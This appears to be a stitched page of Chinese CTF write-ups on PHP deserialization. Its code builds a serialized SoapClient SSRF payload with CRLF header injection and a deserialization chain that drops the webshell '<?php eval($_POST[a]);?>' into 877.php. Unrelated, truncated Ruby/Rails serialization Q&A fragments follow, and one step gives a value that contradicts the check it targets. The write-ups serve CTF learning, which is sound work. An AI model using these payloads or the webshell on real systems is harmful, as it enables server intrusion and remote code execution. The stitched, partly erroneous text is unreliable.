flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
这道题考察的是php原生类SoapClient和CRLF注入(CRLF注入知识点:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html)。
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call方法。
SoapClient原生类官方介绍如下:
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法,这样就可以达到我们伪造请求头的目的。
在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的触发。
首先我们看flag.php。
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
explode() 函数可以把字符串打散为数组。
array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。
这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。
所以当我们xff传入127.0.0.1时返回为空
当传入127.0.0.2,127.0.0.1时返回127.0.0.2
当传入127.0.1,127.0.2,127.0.3时返回127.0.2
所以我们需要xff构造成127.0.1,127.0.1的形式就可以了。
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
接下来我们可以看到index.php中对于传入的vip进行了反序列化,而vip调用了getFlag()方法,在SoapClient原生类中,要是调用一个不存在的方法之后会执行__call魔术方法。
这样我们就可以通过执行__call方法来进行伪造请求获得flag。(这里还进行了CRLF注入)
下面我们进行监听:(这里注意:如果使用的是phpstudy的话去php扩展里面开启soap扩展就行了,如果是其他的话请自行百度,如果没有开soap的话,nc是监听不了的)
<?php
$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999"));
$client->getFlag(); //调用不存在的方法,会自动调用——call()函数来发送请求
?>

可以看到我们对于SOAPction进行了注入,但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded),因此我们还要想办法构造一个完整的POST请求。
所以我们可以试试可不可以控制user-agent:
<?php
$ua="1111\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1:9999",'user_agent'=>$ua));
$client->getFlag();
?>
再进行监听:

可以看到我们成功注入到了user-agent。
这里我们注意:(1)因为我们设置了Content-Length的值为13,所以超出13个字符以外的都会被服务器丢弃,因此token=ctfshow后面的内容都会被丢弃,我们不需要管。
(2)设置User-Agent时,应写成user_agent, 不然就会出错
(3)因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹
(4)HTTP请求头之间的参数用一组\r\n分割即可
(5)HTTP请求头与POSTDATA之间要用两个\r\n分割。
所以我们构造如下:
<?php
$ua = "1111\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php', 'user_agent' => $ua));
echo(urlencode(serialize($client)));
得到Payload:vip?=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%221111%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后再访问flag.txt就可以得到flag。
(这道题的第一想法使用xff伪造ip来获取flag,不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。)
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
这道题比前面那道简单,只需要get传入的参数序列化后含有ctfshow_i_love_36D就可以了
所以我们只需要传入ctfshow_i_love_35D就可以了
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
这道题我们首先需要知道一些关于__serialize和__unserialize方法的一些知识。
1.当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize(在php7.4以上才能生效)
2.__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组。(想具体了解__serialize和__unserialize这俩个函数可以看这篇文章 https://blog.csdn.net/yink12138/article/details/122318003)
关于这道题我们可以看到他的php版本为7.4.16,如下(看php版本和一些网站所用的框架我们可以用wappalyzer这个插件):
我们看到他的php版本为7.4.16,所以说__sleep和__wakeup方法的内容我们可以忽略了。
简化后的代码如下:
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __invoke(){
eval($this->code);
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
可以看到在__destruct方法中,如果code弱类型等于0x36d就可以将password写入username文件中,0x36d转化完十进制为877,因此我们让username等于877.php,然后将password等于要执行的命令就可以了。
如下:
<?php
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct(){
$this->username='877.php';
$this->password='<?php eval($_POST[a]);?>';
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
?>
最后在877.php中找flag就可以了。
给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最
首先,我使用的是rails3.1.3和来自master的carrierwavegithub仓库的分支。我使用after_init钩子(Hook)来确定基于属性的字段页面模型实例并为这些字段定义属性访问器将值存储在序列化哈希中(希望它清楚我是什么谈论)。这是我正在做的事情的精简版:classPage省略mount_uploader命令让我可以访问我想要的属性。但是当我安装uploader时出现错误消息说“nil类的未定义新方法”我在源代码中读到有方法read_uploader和扩展模块中的write_uploader。我如何必须覆盖这些来制作mount_uploader命令使用我的“虚拟
我有一个存储JSON数据的列。当它处于编辑状态时,我不知道如何显示它。serialize:value,JSON=f.fields_for:valuedo|ff|.form-group=ff.label:short=ff.text_field:short,class:'form-control'.form-group=ff.label:long=ff.text_field:long,class:'form-control' 最佳答案 代替=f.fields_for:valuedo|ff|请使用以下代码:=f.fields_for:va
在RubyonRails中,如果数组为空,则具有序列化数组字段的模型将不会在.save()上更新,而它之前有数据。我正在使用:ruby2.2.1rails4.2.1sqlite31.3.10我创建了一个字段设置为文本的新模型:railsgmodel用户名:stringexample:text在我添加的User.rb文件中:serialize:example,Array我实例化了User类的一个新实例:test=User.new然后我保存用户以确保它正确保存:test.save()(0.1ms)begintransactionSQL(0.4ms)INSERTINTO"users"("cr
是否可以在使用YAML.load_file时强制Ruby调用初始化方法?我想调用该方法以便为我不序列化的实例变量提供值。我知道我可以将代码分解成一个单独的方法并在调用YAML.load_file之后调用该方法,但我想知道是否有更优雅的方法来处理这个问题。 最佳答案 我认为你做不到。由于您要添加的代码确实特定于要反序列化的类,因此您应该考虑在类中添加该功能。例如,让Foo成为您要反序列化的类,您可以添加一个类方法,例如:classFoodefself.from_yaml(yaml)foo=YAML::load(yaml)#editth
我正在使用Ruby、Grape和ActiveRecord构建一个网络API。来自ASP.NETWebAPI我习惯于从JSON到类对象的自动模型绑定(bind),然后可以使用EntityFramework保存。我一直在搜索一下,看看在使用ActiveRecord时是否有类似的东西,但没有发现任何让我觉得我遗漏了一些非常明显的东西。将JSON反序列化为ActiveRecord模型的最佳方法是什么?更新Matts回答对简单类型非常有效,但是当我有关联时,我收到以下错误:ActiveRecord::AssociationTypeMismatch:Connector(#7029771166878
为什么Ruby的内置JSON不能反序列化简单的JSON原语,我该如何解决这个问题?irb(main):001:0>require'json'#=>trueirb(main):002:0>objects=[{},[],42,"",true,nil]#=>[{},[],42,"",true]irb(main):012:0>objects.eachdo|o|irb(main):013:1*json=o.to_jsonirb(main):014:1>beginirb(main):015:2*pJSON.parse(json)irb(main):016:2>rescueException=>ei
我试图在单个数据库字段中保存选项的散列。该表单能够将数据保存到数据库,但当我去编辑它时无法再次检索它(例如,除了wp_options字段之外,所有其他字段都已预填充)。classProfile这是我的自定义类:classWP_Optionsattr_accessor:wp_name,:wp_desc,:wp_limitend在我的表单中:true)do|f|%>......在我的Controller中:@profile=Profile.new(:wp_options=>WP_Options.new)在我的数据库列“wp_options”中:---!map:ActiveSupport::
根据ruby-doc和apidock,您可以使用to_json和json_create序列化和反序列化异常。但是在浪费了一些时间尝试使用它们之后,我仍然没有找到办法。调用exc.to_json给我一个空哈希,Exception.json_create(hash)给我这个错误:undefinedmethod'json_create'forException:类我想我可以很容易地重新创建这些函数,因为源代码可用,但我更愿意了解我做错了什么……有什么想法吗? 最佳答案 默认情况下,JSON模块不会扩展Exception。您必须要求“jso
编码和ActiveRecord序列化有什么区别?在将对象保存到数据库中时,是否有任何特定情况更适合使用其中一种方法? 最佳答案 国际研究中心:不保证RubyMarshall可以跨不同的ruby版本或不同平台上的相同ruby版本工作。因为您可能有不同的Ruby版本访问相同的序列化列,Rails使用YAML实现它的序列化。虽然速度较慢,但它确实保证您的序列化列可以被其他ruby版本、其他操作系统上的ruby以及其他编程语言读取。 关于ruby-on-rails-RubyO